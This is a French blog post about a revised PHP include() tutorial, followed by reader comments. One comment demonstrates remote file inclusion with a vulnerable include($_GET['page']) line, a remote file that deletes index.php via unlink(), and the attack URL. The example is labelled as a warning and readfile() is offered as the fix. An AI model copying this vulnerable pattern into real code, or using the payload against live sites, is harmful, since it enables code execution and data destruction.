Classé dans la catégorie des tutoriels les plus décriés (en compagnie de celui sur les menus déroulants), l'article sur les "pseudo-frames" en PHP vient d'être complètement remis à jour.
Les modérateurs du forum commençaient à se lasser des multiples messages tels que J'ai remplacé mes frames par des includes et du coup mon site explose parce que j'ai 15 doctype, html, head, body...
.
Voici donc une nouvelle version du tutoriel Inclure un fichier dans un autre grâce à PHP, à présent séparé en trois parties distinctes : une explication de la fonction include(), une mise en pratique et une partie pour aller plus loin.
L'instruction include() n'aura maintenant plus aucun secret pour vous...
Commentaires
Une initiative salutaire ! :)
Sauf erreur de ma part, il me semble qu'un fichier autre que PHP appelé par la fonction include () est interprété comme si c'était un fichier PHP.
Je dis bien il me semble. ;)
Dans l'extrême majorité des cas, non, car cela dépend de la configuration interne du serveur (Apache + PHP).
Dew: Pourtant, on voit des fichiers .inc, .tpl , inclus dans beaucoup de scripts... et ils agissent comme s'ils étaient en PHP;
Du moins il me semble.
Sinon, excellent article, très bonne qualité.
Merci Cygnus, et vivent les kiwis.
Sylvan : oui mais c'est une grosse faille de sécurité ;) Ensuite, il ne faut pas oublier les tags appropriés. C'est pourquoi on inclut rarement du code PHP dans des fichiers ne portant pas cette extension (du moins dans mon univers, après à chacun ses pratiques).
Une jolie refonte tout en profondeur et en clareté, bravo.
Une remarque à propos du chapitre "Aller plus loin" : la démarche proposée ne montre pas comment faire pour obtenir un titre différent par page. Je trouve qu'il serait bien d'attirer l'attention sur ce problème et sa solution.
[quote ]
Sauf erreur de ma part, il me semble qu'un fichier autre que PHP appelé par la fonction include () est interprété comme si c'était un fichier PHP.
[/quote]
+1. C'est ce qui vaut la mauvaise réputation qu'entretient la fonction include avec la sécurité pour bon nombre de débutants.
Un exemple simple pour montrer que c'est bien le cas.
[b]Note 1 : ceci est l'exemple-type de ce qu'il ne faut SURTOUT pas faire[/b] :
Note 2 : J'ai volontairement viré un "t" pour les URL afin qu'ils ne soient pas transformés en hyperliens inutiles.
page htp://www.noobinclude.com/index.php
[code]
<?php include($_GET['page']); ?>
[/code]
page htp://www.monsite.com/mechant-hacker.txt
[code]
<?php unlink("index.php"); ?>
[/code]
Si maintenant on appelle htp://www.noobinclude.php?page=htp://www.monsite.com/mechant-hacker.txt ... vous avez deviné le résultat.
Pour inclure un fichier sans que php l'interprète, il faut utiliser la fonction readfile (cf. doc fr.php.net/manual/fr/func... ) ou un echo file_get_contents.
C'est une bonne chose que cette refonte! on ne pouvait laisser passer de telles incompréhensions!
Suis-je le seul à configurer les serveurs de façon paranoïaque ? ^^
Que tu sois le seul, je n'en sais rien ; mais, lorsqu'on ne peut maîtriser la configuration du serveur (cas d'un hébergement mutualisé), le risque de voir un fichier autre que PHP interprété comme si c'était du PHP n'est pas écarté. D'ailleurs, la démonstration de Quentin montre que la technique dite des "pseudo-frames" comporte une grosse faille de sécurité si on ne vérifie pas la valeur passée par l'URL.
> D'ailleurs, la démonstration de Quentin montre que la technique dite des "pseudo-frames" comporte une grosse faille de sécurité si on ne vérifie pas la valeur passée par l'URL.
Qu'est-ce que tu appelles "technique des pseudo-frames" exactement ?
Un URL vaut tout un discours : www.phpdebutant.org/artic...
Si votre fichier à inclure ne contient que du HTML, le mieux à faire reste d'utiliser la fonction readfile() là au moins, aucun risque pour votre serveur.